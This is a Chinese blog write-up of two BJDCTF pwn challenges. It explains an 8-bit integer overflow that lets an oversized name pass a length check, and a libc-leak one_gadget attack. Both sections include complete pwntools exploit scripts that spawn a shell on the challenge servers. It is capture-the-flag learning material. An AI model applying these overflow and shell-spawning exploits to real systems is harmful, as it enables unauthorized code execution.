bjdctf r2t3 onegadget
没错,这就是一篇很水的随笔。...
两道很简单的题,先来看第一道。r2t3,保护检查了一下是只开启了堆栈不可执行。
简单看一下ida的伪代码。
main函数让你输入一个name,然后会执行一个name_check的函数,可以看到v3是int8类型的。这里可以进行整数溢出。
Int8, 等于Byte, 占1个字节.
Int16, 等于short, 占2个字节. -32768 32767
Int32, 等于int, 占4个字节. -2147483648 2147483647
Int64, 等于long, 占8个字节. -9223372036854775808 9223372036854775807
这样, 看起来比short,int,long更加直观些!
另外, 还有一个Byte, 它等于byte, 0 - 255.
所以说这里的v3是占一个字节的,一个字节是由8位二进制决定的。
例如:0000 0000 就是一个字节,代表0,1111 1111 也是一个字节,代表255.
如果1111 1111再加1呢?结果就是0000 0000了,但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作,可以看到这里有个判断就是判断v3的长度,必须是在(3,8]这个区间内,满足这个容易,但是就溢出不到返回地址,要想溢出到返回地址,其实输入name的值是肯定要比8大的,这里就用到了这个整数溢出,我们可以给name的值的长度为260,这样就可以既绕过判断长度,又可以溢出到返回地址。
对了,这道题给了后门,所以就直接拿到shell了。这里贴一下exp:
1 from pwn import *
2
3 p = remote('xxxxxx',xxxxx)
4 context.log_level = 'debug'
5
6 shell = 0x0804858B
7 payload = 'a'*21 + p32(shell)
8 payload += 'b'*(255-len(payload)+4)
9 p.sendlineafter('name:',payload)
10
11 print p.recv()
12 p.recv()
13 p.interactive()
接下来就是one_gadget了,这道题,直接给了一个printf的地址,查一下libc版本,然后算出基地址,在直接找一个可以用的one_gadget,就直接拿到shell了。。。
我比赛的时候一直在搭建自己学校的CTF平台,没顾上打这场比赛。。。(主要是自己菜,一道题也做不出来。。。哭唧唧)
就尝试了这一道题,不知道为啥,当时怎么也打不通.............比赛完,再一试,就通了。 无耻的还是贴一下exp:
1 from pwn import *
2
3 context.log_level = 'debug'
4 p = remote('xxxxxxxxn',xxxx)
5
6 p.recvuntil('u:0x')
7 print_addr = int(p.recv(12),16)
8 og = [0xe237f,0xe2383,0xe2386,0x106ef8]
9 base_addr = print_addr - 0x062830
10 shell = base_addr + og[3]
11 payload = str(shell)
12 print payload
13 p.sendlineafter('gadget:',payload)
14 p.interactive()
本来还想发一道题的,结果看见是堆题目,立一个flag,这个星期忙里偷闲,把堆入个门,顺便把拿到yds想要女朋友(???是CTF它不好玩吗?要什么女朋友???)做出来!
下两个博客一个是堆,一个是那道题的解析!好了,又水了一篇博客,真开心,溜了溜了,上数据库原理去了。。。
bjdctf r2t3 onegadget的更多相关文章
- [BUUCTF]PWN12——[BJDCTF 2nd]r2t3
[BUUCTF]PWN12--[BJDCTF 2nd]r2t3 题目网址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3 步骤: 例行检查,32位,开启了 ...
- [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget
[BUUCTF]PWN15--[BJDCTF 2nd]one_gadget 附件 步骤: 例行检查,64位,保护全开 nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one ga ...
- [BJDCTF 2nd]fake google
[BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...
- BUUOJ [BJDCTF 2nd]elementmaster
[BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ...
- [BJDCTF 2nd]文件探测
[BJDCTF 2nd]文件探测 这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的. home.php: <?php setcookie("y1ng", ...
- [BJDCTF 2nd]duangShell 反弹shell
[BJDCTF 2nd]duangShell [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 ...
- [BJDCTF 2nd]duangShell
[BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 该文件产生的原因是:使用vi编辑器打开文件时,会 ...
- [BJDCTF 2nd]xss之光
[BJDCTF 2nd]xss之光 进入网址之后发现存在.git泄露,将源码下载下来,只有index.php文件 <?php $a = $_GET['yds_is_so_beautiful']; ...
- [BJDCTF 2nd]Schrödinger && [BJDCTF2020]ZJCTF,不过如此
[BJDCTF 2nd]Schrödinger 点进题目之后是一堆英文,英语不好就不配打CTF了吗(流泪) 复制这一堆英文去谷歌翻译的时候发现隐藏文字 移除test.php文件,访问test.php ...
随机推荐
- [loj3176]景点划分
不妨设$a\le b\le c$,那么相当于要找到两个大小至少为$a$和$b$的连通块(连通块可以通过删除度最小的点变小) 以一个点为根建出dfs树并对以下情况分类讨论: 1.存在一个节点满足$\ma ...
- 【Mysql】深入理解 MVCC 多版本并发控制
MVCC MVCC(Multi-Version Concurrency Control),即多版本并发控制.是 innodb 实现事务并发与回滚的重要功能.锁机制可以控制并发操作,但是其系统开销较大, ...
- Go语言核心36讲(Go语言实战与应用十七)--学习笔记
39 | bytes包与字节串操作(下) 在上一篇文章中,我们分享了bytes.Buffer中已读计数的大致功用,并围绕着这个问题做了解析,下面我们来进行相关的知识扩展. 知识扩展 问题 1:byte ...
- 超图GIS入门iserver搭建,前端调用iserver加载三维场景demo
目录 前言 一.GIS介绍,为什么选择它? 二.环境安装 三.调用三维GIS场景 设置地图风格 添加地图iServer服务 前言 前段时间因为对3D制图感兴趣,学习了一下国内制作GIS的公司产品技术, ...
- 聊聊并发(六)——CAS算法
一.原子类 1.CAS算法 强烈建议读者看这篇之前,先看这篇 初识JUC 的前两节,对原子性,原子变量,内存可见性有一个初步认识. CAS(Compare and Swap)是一种硬件对并发的支持,针 ...
- 洛谷 P4708 - 画画(Burnside 引理+组合数学)
洛谷题面传送门 神仙题 %%%%%%%%%%%%%%%%%%%% 题解搬运人来了 首先看到本质不同(无标号)的图计数咱们可以想到 Burnside 引理,具体来说,我们枚举一个排列 \(p\),并统计 ...
- DirectX12 3D 游戏开发与实战第九章内容(上)
仅供个人学习使用,请勿转载. 9.纹理贴图 学习目标: 学习如何将局部纹理映射到网格三角形上 探究如何创建和启用纹理 学会如何通过纹理过滤来创建更加平滑的图像 探索如何使用寻址模式来进行多次纹理贴图 ...
- 蛋白组DIA分析:Spectronaut软件使用指南
官方文档: https://biognosys.com/media.ashx/spectronautmanual.pdf 0. 准备 Spectronaut软件是蛋白组DIA分析最常用的谱图解析软件之 ...
- docker_清华源国内的选择
清华大学开源镜像官网:https://mirrors.tuna.tsinghua.edu.cn/ 前期: 在centos7 中的extras 源里面有docker 安装包,但是里面的安装包是比较旧的 ...
- linux中chage命令的基本使用
在Linux中chage命令常用于设置系统用户的账户属性 Usage: chage [options] LOGIN Options: -d, --lastday LAST_DAY set date o ...